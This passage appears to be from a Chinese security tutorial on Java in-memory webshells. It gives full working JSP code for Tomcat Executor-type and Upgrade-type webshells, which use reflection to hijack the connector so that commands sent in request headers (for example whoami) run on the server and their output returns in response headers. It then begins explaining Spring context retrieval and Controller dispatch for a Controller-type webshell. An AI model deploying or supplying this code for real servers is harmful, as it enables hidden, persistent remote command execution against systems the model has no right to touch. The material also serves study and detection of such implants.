1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static final String MY_MESSAGE = "my-message" ;public String getRequest () { try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (threadName.contains("Acceptor" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { Object[] objects = (Object[]) getField(getField(getField(target, "endpoint" ), "nioChannels" ), "stack" ); ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0 ], "appReadBufHandler" ), "byteBuffer" ); String data = new String (heapByteBuffer.array(), StandardCharsets.UTF_8); if (data.contains(MY_MESSAGE)) { return data.substring( data.indexOf(MY_MESSAGE) + MY_MESSAGE.length() + 1 , data.indexOf("\r" , data.indexOf(MY_MESSAGE)) - 1 ); } } catch (Exception ignored) { } } } } } } catch (Exception ignored) { } return "" ; }
我们只需要将通信数据放到请求头的 my-message 对应的值中即可:
1 2 3 4 GET / HTTP/1.1 my-message : whoami
回显数据时,Tomcat 的 org.apache.catalina.connector.Response(通过 ResponseFacade 暴露给应用)实现 了 HttpServletResponse 接口。
对于HTTP/1.1的请求,Tomcat使用一个处理器类叫 Http11Processor。每当它处理一个请求时,都会持有两个基础对象:
org.apache.coyote.Request
org.apache.coyote.Response
但应用程序一般并不会直接操作这两个对象。Tomcat上面还有一层 Catalina (即Servlet容器层),你在Servlet代码中经常看到的 HttpServletRequest 和 HttpServletResponse 都是Catalina层提供的对象。具体来说,Catalina真正负责实现HTTP响应功能的是:org.apache.catalina.connector.Response,它实现了接口 HttpServletResponse。
为了防止应用程序随意修改底层实现细节,应用程序实际拿到的是一个外层包装对象:**ResponseFacade**,它也实现了相同接口,但内部调用都会委托给真正干活的 connector.Response。
由于 Http11Processor(继承自 org.apache.coyote.AbstractProcessor)在处理一次请求时持有 Coyote 层的 Request/Response,因此我们可以在这个阶段搜索到该对象:
1 2 3 4 5 6 7 8 9 Thread(名字形如 http-nio-8080-Acceptor) └─ target : AbstractEndpoint$Acceptor / NioEndpoint$Acceptor(Runnable) └─ endpoint : NioEndpoint └─ handler : AbstractProtocol$ConnectionHandler └─ proto : Http11NioProtocol └─ global : RequestGroupInfo └─ processors : List<RequestInfo> ← 活跃请求清单(进行中的 Processor) └─ req : org.apache.coyote.Request(Coyote) └─ response : org.apache.coyote.Response(Coyote) ← ★ 已拿到
拿到 Response 对象后我们就可以使用 addHeader 方法将要回显的数据添加到响应头中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public void getResponse (String res) { try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (threadName.contains("Acceptor" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { ArrayList<?> objects = (ArrayList<?>) getField(getField(getField(getField(target, "endpoint" ), "handler" ), "global" ), "processors" ); for (Object tmp_object : objects) { RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req" ), "response" ); response.addHeader("Result" , res); } } catch (Exception ignored) { } } } } } } catch (Exception ignored) { } }
由于 Response 中的 buffer 不好扩容,并且后面可能出现覆盖等问题,因此这里不将回显数据放到响应体里面。
另外将回显内容放到响应头中会存在字符限制。为了避免在 Windows 下执行命令结果出现下面这种报错:
1 警告: The HTTP response header [Result] with value [ ���
我们需要将结果 base64 编码一下:
1 2 3 4 GET / HTTP/1.1 my-message : powershell -NoProfile -Command "[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((cmd /c ipconfig | Out-String)))"
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 <%@ page import ="org.apache.tomcat.util.net.NioEndpoint" %> <%@ page import ="org.apache.tomcat.util.threads.ThreadPoolExecutor" %> <%@ page import ="java.util.concurrent.TimeUnit" %> <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="java.util.concurrent.BlockingQueue" %> <%@ page import ="java.util.concurrent.ThreadFactory" %> <%@ page import ="java.nio.ByteBuffer" %> <%@ page import ="java.util.ArrayList" %> <%@ page import ="org.apache.coyote.RequestInfo" %> <%@ page import ="org.apache.coyote.Response" %> <%@ page import ="java.io.IOException" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page import ="java.io.BufferedReader" %> <%@ page import ="java.nio.charset.StandardCharsets" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public Object getField (Object object, String fieldName) { Field declaredField; Class<?> clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true ); return declaredField.get(object); } catch (NoSuchFieldException | IllegalAccessException ignored) { } clazz = clazz.getSuperclass(); } return null ; } public Object getStandardService () { Thread[] threads = (Thread[]) this .getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread == null ) { continue ; } if ((thread.getName().contains("Acceptor" ))) { Object target = this .getField(thread, "target" ); Object nioEndPoint = null ; try { nioEndPoint = getField(target, "endpoint" ); } catch (Exception ignored) { } if (nioEndPoint == null ) { try { nioEndPoint = getField(target, "this$0" ); if (nioEndPoint == null ) continue ; return nioEndPoint; } catch (Exception ignored) { } } else { return nioEndPoint; } } } return new Object (); } public class threadexcutor extends ThreadPoolExecutor { static final String MY_MESSAGE = "my-message" ; public threadexcutor (int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super (corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); } public String getRequest () { try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (threadName.contains("Acceptor" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { Object[] objects = (Object[]) getField(getField(getField(target, "endpoint" ), "nioChannels" ), "stack" ); ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0 ], "appReadBufHandler" ), "byteBuffer" ); String data = new String (heapByteBuffer.array(), StandardCharsets.UTF_8); if (data.contains(MY_MESSAGE)) { return data.substring( data.indexOf(MY_MESSAGE) + MY_MESSAGE.length() + 1 , data.indexOf("\r" , data.indexOf(MY_MESSAGE)) - 1 ); } } catch (Exception ignored) { } } } } } } catch (Exception ignored) { } return "" ; } public void getResponse (String res) { try { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads" ); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (threadName.contains("Acceptor" )) { Object target = getField(thread, "target" ); if (target instanceof Runnable) { try { ArrayList<?> objects = (ArrayList<?>) getField(getField(getField(getField(target, "endpoint" ), "handler" ), "global" ), "processors" ); for (Object tmp_object : objects) { RequestInfo request = (RequestInfo) tmp_object; Response response = (Response) getField(getField(request, "req" ), "response" ); response.addHeader("Result" , res); } } catch (Exception ignored) { } } } } } } catch (Exception ignored) { } } @Override public void execute (Runnable command) { String cmd = getRequest(); if (cmd.length() > 1 ) { try { Runtime rt = Runtime.getRuntime(); Process process = rt.exec(cmd); InputStream in = process.getInputStream(); InputStreamReader resultReader = new InputStreamReader (in); BufferedReader stdInput = new BufferedReader (resultReader); StringBuilder s = new StringBuilder (); String tmp = "" ; while ((tmp = stdInput.readLine()) != null ) { s.append(tmp); } if (!s.toString().isEmpty()) { getResponse(s.toString()); } } catch (IOException ignored) { } } this .execute(command, 0L , TimeUnit.MILLISECONDS); } } %> <% NioEndpoint nioEndpoint = (NioEndpoint) getStandardService(); ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor" ); threadexcutor exe = new threadexcutor (exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler()); nioEndpoint.setExecutor(exe); %>
Upgrade 型内存马 除了 EndPoint 下的 Executor,实际上 Processor 中也能找到内存马的植入点。
Processor 负责处理字节流生成 Tomcat Request 对象,将 Tomcat Request 对象传递给 Adapter。其实就是处理 HTTP 请求的,对应的类为 org.apache.coyote.AbstractProcessorLight。
Tomcat 在处理请求时,http-nio-8080-exec-* 线程有如下调用栈:
1 2 3 4 5 6 7 8 9 service:553, Http11Processor (org.apache.coyote.http11) process:63, AbstractProcessorLight (org.apache.coyote) process:934, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1690, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:52, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:63, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745, Thread (java.lang)
在 org.apache.coyote.http11.Http11Processor#service 函数中针对请求头包含 Upgrade 字段的情况有如下判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (isConnectionToken(request.getMimeHeaders(), "upgrade" )) { String requestedProtocol = request.getHeader("Upgrade" ); UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol); if (upgradeProtocol != null ) { if (upgradeProtocol.accept(request)) { } } }
其中 isConnectionToken 函数会判断请求头中的 Connection 字段中是否包含 Upgrade。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 private static boolean isConnectionToken (MimeHeaders headers, String token) throws IOException { MessageBytes connection = headers.getValue(Constants.CONNECTION); if (connection == null ) { return false ; } Set<String> tokens = new HashSet <>(); TokenList.parseTokenList(headers.values(Constants.CONNECTION), tokens); return tokens.contains(token); }
如果 Connection 字段的值中存在 Upgrade 则调用 org.apache.coyote.http11.AbstractHttp11Protocol#getUpgradeProtocol 根据请求头中 Upgrade 字段的值寻找对应的 org.apache.coyote.UpgradeProtocol。这里实际上是从 httpUpgradeProtocols 字段中根据协议名查找的值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private final Map<String, UpgradeProtocol> httpUpgradeProtocols = new HashMap <>();public UpgradeProtocol getUpgradeProtocol (String upgradedName) { return httpUpgradeProtocols.get(upgradedName); }
然后在 Http11Processor#service 函数中会调用 UpgradeProtocol 的 accept 方法。
1 2 3 4 5 UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol);if (upgradeProtocol != null ) { if (upgradeProtocol.accept(request)) {
因此我们只要能够在 AbstractHttp11Protocol#httpUpgradeProtocols 中注册 UpgradeProtocol 对象并实现 service 方法,就可以实现内存马的功能。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Field reqF = request.getClass().getDeclaredField("request" );reqF.setAccessible(true ); Request req = (Request) reqF.get(request);Field conn = Request.class.getDeclaredField("connector" );conn.setAccessible(true ); Connector connector = (Connector) conn.get(req);Field proHandler = Connector.class.getDeclaredField("protocolHandler" );proHandler.setAccessible(true ); AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);HashMap<String, UpgradeProtocol> upgradeProtocols = null ; Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols" );upgradeProtocolsField.setAccessible(true ); upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler); upgradeProtocols.put("p4d0rn" , new MyUpgrade ()); upgradeProtocolsField.set(handler, upgradeProtocols);
搜索 httpUpgradeProtocols 的相关引用我们发现 AbstractHttp11Protocol#init 会初始化 httpUpgradeProtocols,因此可以确定 httpUpgradeProtocols 是在 Tomcat 启动时被实例化的。因此我们在注册的时候不需要考虑初始化 httpUpgradeProtocols。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 public void init () throws Exception { for (UpgradeProtocol upgradeProtocol : upgradeProtocols) { configureUpgradeProtocol(upgradeProtocol); } } private void configureUpgradeProtocol (UpgradeProtocol upgradeProtocol) { String httpUpgradeName = upgradeProtocol.getHttpUpgradeName(getEndpoint().isSSLEnabled()); boolean httpUpgradeConfigured = false ; if (httpUpgradeName != null && httpUpgradeName.length() > 0 ) { httpUpgradeProtocols.put(httpUpgradeName, upgradeProtocol); httpUpgradeConfigured = true ; getLog().info(sm.getString("abstractHttp11Protocol.httpUpgradeConfigured" , getName(), httpUpgradeName)); } }
并且相较于 Executor 型内存马,Upgrade 型内存马的回调函数 accept 的参数类型是 org.apache.coyote.Request,刚好能通过反射获取到 Response 对象,因此更加通用和稳定。
1 2 3 4 5 6 7 8 9 10 11 12 13 public boolean accept (org.apache.coyote.Request request) { System.out.println("MyUpgrade.accept" ); String p = request.getHeader("cmd" ); try { String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" ) ? new String []{"cmd.exe" , "/c" , p} : new String []{"/bin/sh" , "-c" , p}; Field response = org.apache.coyote.Request.class.getDeclaredField("response" ); response.setAccessible(true ); Response resp = (Response) response.get(request); byte [] result = new java .util.Scanner(new ProcessBuilder (cmd).start().getInputStream()).useDelimiter("\\A" ).next().getBytes(); resp.doWrite(ByteBuffer.wrap(result)); } catch (Exception e){} return false ; }
访问时请求头需要满足:
Connection 的值包含 Upgrade
Upgrade 的值为内存马的名称
cmd 的值为要执行的命令
1 2 3 4 5 6 GET / HTTP/1.1 Connection : UpgradeUpgrade : shellcmd : whoami
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.connector.Connector" %> <%@ page import ="org.apache.coyote.http11.AbstractHttp11Protocol" %> <%@ page import ="org.apache.coyote.UpgradeProtocol" %> <%@ page import ="java.util.HashMap" %> <%@ page import ="org.apache.coyote.Processor" %> <%@ page import ="org.apache.tomcat.util.net.SocketWrapperBase" %> <%@ page import ="org.apache.coyote.Adapter" %> <%@ page import ="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.io.InputStreamReader" %> <%@ page import ="java.io.BufferedReader" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%! public class MyUpgrade implements UpgradeProtocol { public String getHttpUpgradeName (boolean isSSLEnabled) { return "shell" ; } public byte [] getAlpnIdentifier() { return new byte [0 ]; } public String getAlpnName () { return null ; } public Processor getProcessor (SocketWrapperBase<?> socketWrapper, Adapter adapter) { return null ; } public InternalHttpUpgradeHandler getInternalUpgradeHandler (Adapter adapter, org.apache.coyote.Request request) { return null ; } @Override public boolean accept (org.apache.coyote.Request request) { System.out.println("MyUpgrade.accept" ); String p = request.getHeader("cmd" ); System.out.println(p); try { String[] cmd = System.getProperty("os.name" ).toLowerCase().contains("windows" ) ? new String []{"cmd.exe" , "/c" , p} : new String []{"/bin/sh" , "-c" , p}; Field response = org.apache.coyote.Request.class.getDeclaredField("response" ); response.setAccessible(true ); org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request); InputStream in = new ProcessBuilder (cmd).start().getInputStream(); BufferedReader stdInput = new BufferedReader (new InputStreamReader (in)); String s = "" ; String tmp = "" ; while ((tmp = stdInput.readLine()) != null ) { s += tmp; } resp.setHeader("Result" , s); } catch (Exception e){ System.out.println(e); } return false ; } } %> <% Field reqF = request.getClass().getDeclaredField("request" ); reqF.setAccessible(true ); Request req = (Request) reqF.get(request); Field conn = Request.class.getDeclaredField("connector" ); conn.setAccessible(true ); Connector connector = (Connector) conn.get(req); Field proHandler = Connector.class.getDeclaredField("protocolHandler" ); proHandler.setAccessible(true ); AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector); HashMap<String, UpgradeProtocol> upgradeProtocols = null ; Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols" ); upgradeProtocolsField.setAccessible(true ); upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler); upgradeProtocols.put("shell" , new MyUpgrade ()); upgradeProtocolsField.set(handler, upgradeProtocols); %>
Jetty 内存马 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <properties > <container.id > tomcat10x</container.id > <container.version > 10.1.24</container.version > <container.homeName > apache-tomcat-${container.version}</container.homeName > <container.zipUrl > https://archive.apache.org/dist/tomcat/tomcat-10/v${container.version}/bin/apache-tomcat-${container.version}.zip</container.zipUrl > <jsp.group > org.apache.tomcat</jsp.group > <jsp.artifact > tomcat-jasper</jsp.artifact > <jsp.version > ${container.version}</jsp.version > <el.group > org.apache.tomcat.embed</el.group > <el.artifact > tomcat-embed-el</el.artifact > <el.version > ${container.version}</el.version > <servlet.group > jakarta.servlet</servlet.group > <servlet.artifact > jakarta.servlet-api</servlet.artifact > <servlet.version > 6.0.0</servlet.version > </properties > <properties > <container.id > jetty10x</container.id > <container.version > 10.0.18</container.version > <container.homeName > jetty-home-${container.version}</container.homeName > <container.zipUrl > https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/${container.version}/jetty-home-${container.version}.zip</container.zipUrl > <jsp.group > org.eclipse.jetty</jsp.group > <jsp.artifact > apache-jsp</jsp.artifact > <jsp.version > ${container.version}</jsp.version > <el.group > javax.el</el.group > <el.artifact > javax.el-api</el.artifact > <el.version > 3.0.0</el.version > <servlet.group > javax.servlet</servlet.group > <servlet.artifact > javax.servlet-api</servlet.artifact > <servlet.version > 4.0.1</servlet.version > </properties > <properties > <container.id > jetty11x</container.id > <container.version > 11.0.24</container.version > <container.homeName > jetty-home-${container.version}</container.homeName > <container.zipUrl > https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/${container.version}/jetty-home-${container.version}.zip</container.zipUrl > <jsp.group > org.eclipse.jetty</jsp.group > <jsp.artifact > apache-jsp</jsp.artifact > <jsp.version > ${container.version}</jsp.version > <el.group > jakarta.el</el.group > <el.artifact > jakarta.el-api</el.artifact > <el.version > 5.0.0</el.version > <servlet.group > jakarta.servlet</servlet.group > <servlet.artifact > jakarta.servlet-api</servlet.artifact > <servlet.version > 5.0.0</servlet.version > </properties >
框架类 Spring 内存马 WebApplicationContext 对于内存马的注入,最重要的事情就是获取上下文,在 Tomcat 中获取说的上下文为 StandardContext,对于 Spring 获取的就是 WebApplicationContext。
什么是 WebApplicationContext WebApplicationContext 是 Spring 专门用于 Web 环境(如 Servlet 环境) 的 IoC 容器接口,你可以理解成 “Web 版的 ApplicationContext” 。
在 WebApplicationContext 中,不仅能像普通的 Spring 容器一样管理和获取 Bean,还能够访问 ServletContext、支持 Web 特有的作用域(例如 request、session、application),以及处理主题(ThemeSource)等一系列专属于 Web 环境的功能。
在传统的 Spring MVC(非 Spring Boot)应用里,WebApplicationContext 通常会被划分为 两层 :
Root WebApplicationContext(父容器) 由 ContextLoaderListener 在应用启动时创建(默认读取 /WEB-INF/applicationContext.xml)。放通用基础设施 :DataSource、TxManager、Service、Repository、工具类等。
Child WebApplicationContext(子容器) 每个 DispatcherServlet 启动时各自创建一个子容器(默认读取 /WEB-INF/<servlet-name>-servlet.xml)。放Web 层 :@Controller、HandlerMapping/Adapter、视图解析器、MessageConverter 等。
Root WebApplicationContext ContextLoaderListener 在应用启动 时创建全局唯一的 Root WebApplicationContext (父容器),并把它放进 ServletContext 里,供后续所有 DispatcherServlet 作为“父亲”。
我们可以在 web.xml 中告诉 Spring 去哪里加载全局配置 ,以及注册一个监听器在应用启动时创建“全局(Root)容器” 。
1 2 3 4 5 6 7 8 9 10 <context-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/applicationContext.xml</param-value > </context-param > <listener > <listener-class > org.springframework.web.context.ContextLoaderListener</listener-class > </listener >
Child WebApplicationContext DispatcherServlet 是真正接收 HTTP 请求 的 Servlet(继承 HttpServlet),负责分发到对应的 Controller 。 每一个 DispatcherServlet 都会新建一个 Child WebApplicationContext (子容器),它的父亲 就是上面的 Root 容器。
在 web.xml 里可以把 Spring MVC 的核心前端控制器 DispatcherServlet 配起来 ,并把它映射到哪些 URL 要交给它处理 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <servlet > <servlet-name > dispatcherServlet</servlet-name > <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class > <init-param > <param-name > contextConfigLocation</param-name > <param-value > /WEB-INF/dispatcherServlet-servlet.xml</param-value > </init-param > <load-on-startup > 1</load-on-startup > </servlet > <servlet-mapping > <servlet-name > dispatcherServlet</servlet-name > <url-pattern > /</url-pattern > </servlet-mapping >
如果**不写 contextConfigLocation**,Spring 会找/WEB-INF/<servlet-name>-servlet.xml。上面 <servlet-name> 是 dispatcherServlet,所以默认就是 /WEB-INF/dispatcherServlet-servlet.xml。
dispatcherServlet-servlet.xml 通常放“Web 层 ”的东西:component-scan 扫 @Controller、RequestMappingHandlerMapping/Adapter、视图解析器、消息转换器等。
获取 WebApplicationContext 下面展示的四种获得当前代码运行时的上下文环境的方法中,推荐使用后面两种方法 获得 Child WebApplicationContext。
这是因为:根据习惯,在很多应用配置中注册 Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。
这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,而不是 Root WebApplicationContext 中。Root Context无法访问Child Context中定义的 bean,所以可能会导致 Root WebApplicationContext 获得不了 RequestMappingHandlerMapping 的实例 bean 的情况。
另外,在有些 Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件,这时候通过前两种方法是获取不到 Root WebApplicationContext 的。
ContextLoader 直接通过 ContextLoader 获取,获取到当前 ContextLoader 创建的 WebApplicationContext(一般 ContextLoader 会被 ban)
1 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
WebApplicationContextUtils 该工具类的 getWebApplicationContext 方法也是获取到 ContextLoaderListener 所创建的 ROOT WebApplicationContext。
1 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
需要注意的是,在 spring 5 之后的的 WebApplicationContextUtils 已经没有 getWebApplicationContext 方法。
RequestContextUtils 通过 RequestContextHolder 获取 request,然后获取 servletRequest 后通过 RequestContextUtils 获取 ROOT WebApplicationContext。
1 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
getAttribute 用 RequestContextHolder 方法直接从键值 org.springframework.web.servlet.DispatcherServlet.CONTEXT 中获取 Context 即可。
1 WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT" , 0 );
反射获取(仅适用于Springboot环境) Springboot 初始化过程中会往 org.springframework.context.support.LiveBeansView 类的 applicationContexts 属性中添加 org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext 类的对象,这个类是 Springboot 里的类,所以这种方法仅适用于 Springboot。
applicationContexts 属性定义如下所示:
1 private static final Set<ConfigurableApplicationContext> applicationContexts = new LinkedHashSet ();
因为使用了 private static final 修饰符,所以可以直接反射获取属性值。示例代码如下:
1 2 3 java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView" ).getDeclaredField("applicationContexts" ); filed.setAccessible(true ); org.springframework.web.context.WebApplicationContext context = (org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null )).iterator().next();
Controller 内存马 Spring 中的 Controller 是一种负责接收用户请求,调用相应的业务逻辑(Service 层),并返回数据或视图的组件,属于 MVC(Model-View-Controller)架构的核心组成部分。
简单说,Controller 本质上就是一个封装了复杂逻辑、使用更简单、更高级抽象的 Servlet。它具有如下功能:
Controller 决定一个请求 URL 应该由哪个方法处理。
Controller 将用户请求转为 Java 对象。
Controller 调用业务逻辑(Service)处理数据。
Controller 决定响应(返回视图页面或 JSON/XML 数据)。
因此如果我们能够像注册 Servlet 那样动态注册一个恶意 Controller,那么同样可以实现内存马功能。
源码分析 Controller 派发流程 org.springframework.web.servlet.DispatcherServlet#doDispatch 到我们注册的 Controller 的处理函数之间有如下调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 at com.example.HelloController.hello(HelloController.java:12) at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808) at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1072) at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:965)
在 doDispatch 方法中,首先通过 getHandler 方法,获取到对应的Handler,然后再调用 getHandlerAdapter 方法获取到对应的适配器,最后去调用 ha.handler。
在 Spring MVC 的 DispatcherServlet 的核心方法 doDispatch 中:
通过调用 getHandler(request) 方法 ,根据请求的 URL、HTTP方法等信息,找到对应的处理器(Handler) 。
拿到 Handler 后,Spring 调用 getHandlerAdapter(handler) 方法 ,根据当前 Handler 的类型,找到一个合适的处理器适配器(HandlerAdapter) 。
HandlerAdapter 统一了调用不同类型处理器的接口。
常见适配器如:RequestMappingHandlerAdapter 用于调用 @RequestMapping 标注的方法。
最终,通过调用 ha.handle(request, response, handler) 方法,由适配器完成对具体 Handler 方法的调用。
适配器负责参数绑定、方法调用、返回值处理等逻辑。
Controller 方法的执行结果一般封装成 ModelAndView 或直接写回响应。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 mappedHandler = getHandler(processedRequest); if (mappedHandler == null ) { noHandlerFound(processedRequest, response); return ; } HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler());String method = request.getMethod();boolean isGet = HttpMethod.GET.matches(method);if (isGet || HttpMethod.HEAD.matches(method)) { long lastModified = ha.getLastModified(request, mappedHandler.getHandler()); if (new ServletWebRequest (request, response).checkNotModified(lastModified) && isGet) { return ; } } if (!mappedHandler.applyPreHandle(processedRequest, response)) { return ; } mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
在 getHandler 方法中,会寻找我们访问路径所对应的 HandlerMapping:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @Nullable protected HandlerExecutionChain getHandler (HttpServletRequest request) throws Exception { if (this .handlerMappings != null ) { for (HandlerMapping mapping : this .handlerMappings) { HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null ) { return handler; } } } return null ; }
其中 HandlerMappings 中存在多个 HandlerMapping,通过迭代器进行遍历,找到匹配的 HandlerMapping。
1 2 3 4 5 6 7 this.handlerMappings = {ArrayList@5832} size = 6 0 = {RequestMappingHandlerMapping@5851} 1 = {WelcomePageHandlerMapping@5852} 2 = {BeanNameUrlHandlerMapping@5853} 3 = {RouterFunctionMapping@5854} 4 = {WelcomePageNotAcceptableHandlerMapping@5855} 5 = {SimpleUrlHandlerMapping@5856}
getHandler 函数之后有如下调用栈:
